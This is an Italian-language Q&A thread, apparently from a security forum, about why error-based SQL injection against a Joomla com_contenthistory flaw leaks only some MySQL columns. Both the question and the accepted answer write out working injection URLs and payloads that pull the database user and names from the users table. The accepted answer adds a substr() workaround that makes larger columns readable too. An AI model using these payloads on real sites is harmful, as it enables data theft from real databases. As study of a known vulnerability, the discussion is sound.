Perché l'iniezione SQL basata su errori funziona solo con determinati campi?

Question

Perché l'iniezione SQL basata su errori funziona solo con determinati campi?

#1 da (1 voti)

1

Attualmente sto studiando l'ultima vulnerabilità che interessa il CMS di Joomla.

Puoi trovare qui una descrizione della vulnerabilità , tuttavia la mia domanda riguarda solo iniezioni SQL basate su errori ed è indipendente dal contesto.

L'URL di base che utilizzo per accedere alla vulnerabilità è:

https://example.com/index.php?option=com_contenthistory&view=history&list[select]=SQL_INJECTION_HERE

L'iniezione che uso è nella forma:

(select col.a Array from (select count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns,  jml_users  group by a) col) ,'A' union select uc.id

L'esempio sopra funziona bene: eseguirlo un po 'di tempo genera in modo casuale Subquery returns more than 1 row e i messaggi di errore Duplicate entry '::joomla@localhost::0' for key 'group_key' attesi che perdono l'utente MySQL usato da Joomla :)!

Tuttavia, non posso accedere a tutti i contenuti del database. Alcuni campi generano sempre Subquery returns more than 1 row e non perdono mai le informazioni che contengono.

Questa limitazione è riproducibile quando ci si collega direttamente a un prompt di MySQL.

Non ho riscontrato alcuna descrizione di questa (piuttosto noiosa) limitazione negli articoli che ho letto sull'argomento. È qualcosa di noto? E 'specifico per la mia versione di MySQL (5.6.14-enterprise-commercial-advanced)? C'è qualche soluzione?

sql-injection mysql joomla

posta WhiteWinterWolf 28.10.2015 - 17:36

fonte

1 risposta

Leggi altre domande sui tag sql-injection mysql joomla

Come si realizza tecnicamente la firma di una chiave pubblica OpenPGP? File di configurazione crittografato in VCS

score 1 · Accepted Answer

Ecco quali richieste funzionano utilizzando questa iniezione e quali no, associate ai loro tipi di colonna:

Cosa funziona:

Uso di funzioni interne MySQL come users() , database() , ecc.
Uso di variabili di sistema come @@version , ecc.
Accedere a contenuti di colonne di dimensioni ridotte come questi tutti dalla tabella *_users : *id ( int (11) ), email ( varchar (100) ), password ( varchar (100) ), registerdate ( data / ora ), ecc.

Che cosa non funziona:

Accesso a colonne di dimensioni maggiori come (ancora appartenenti alla tabella *_users ) name ( varchar (255) ), username ( varchar (150) ), parametri ( testo ), otpKey ( varchar (1000) ), ecc.

Qui diventa chiaro che la cosa in qualche modo mantenendo l'iniezione SQL basata sull'errore per funzionare correttamente è la dimensione del campo (non importa la dimensione del contenuto, la colonna potrebbe essere vuota).

La soluzione diventa cristallina: aggiungi una chiamata substr() all'iniezione SQL e ora l'intero contenuto del database diventa accessibile :)!

http://example.com//index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(name,1,100) from jml_users limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id

500 - Duplica voce ":: Noob :: 1" per la chiave "group_key"

Di proprietà :)! (Mi chiedo comunque se questa limitazione è generale o limitata a questa versione del server MySQL).